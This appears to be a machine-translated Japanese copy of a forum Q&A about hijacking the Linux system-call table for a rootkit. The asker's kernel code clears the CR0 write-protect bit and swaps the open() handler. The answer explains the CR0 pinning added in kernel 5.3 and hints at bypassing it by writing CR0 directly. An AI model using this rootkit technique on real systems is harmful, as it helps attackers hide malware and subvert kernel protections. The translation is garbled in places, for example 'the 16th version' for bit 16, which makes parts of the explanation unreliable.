カーネルバージョン2.Xから4.Xまでは、16番目のバージョンを簡単に無視できます。CR0カーネルモジュールのビット:
write_cr0(read_cr0() & (~ 0x10000));
これにより、システムコールテーブルへの書き込み禁止を削除できます。しかし、今バージョン5.Xでは、これはCR0ビットをオーバーライドしないようです。上記のトリックを使用してシステムコールテーブルをハイジャックしようとすると、
sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");
write_cr0(read_cr0() & (~0x10000));
iamhere("Saving the old call..");
old_open = sys_call_table[__NR_open];
iamhere("Setting the new one..");
sys_call_table[__NR_open] = hijacked_open;
write_cr0(read_cr0() | 0x10000);
0x0003 権限違反エラーが発生します。
だから私の質問は:新しいカーネルモード保護機能が適用されていますか?それでは、ルートキットの場合、これをバイパスする方法はありますか?
答え1
はい、バージョン5.3以降、CR0とCR4の機密ビットが修正されました。、少なくとも渡す write_cr0
そしてwrite_cr4
。write_cr0
呼び出しがWPビットをクリアしないため、コードは失敗します。
管理モードの場合は、常にCR0に直接書き込むことができます。これは固定を防ぎますが、固定ビットは次の呼び出しwrite_cr?
で復元されます。 (固定の目的は、これらの関数呼び出しに関連する攻撃を防ぐことです。)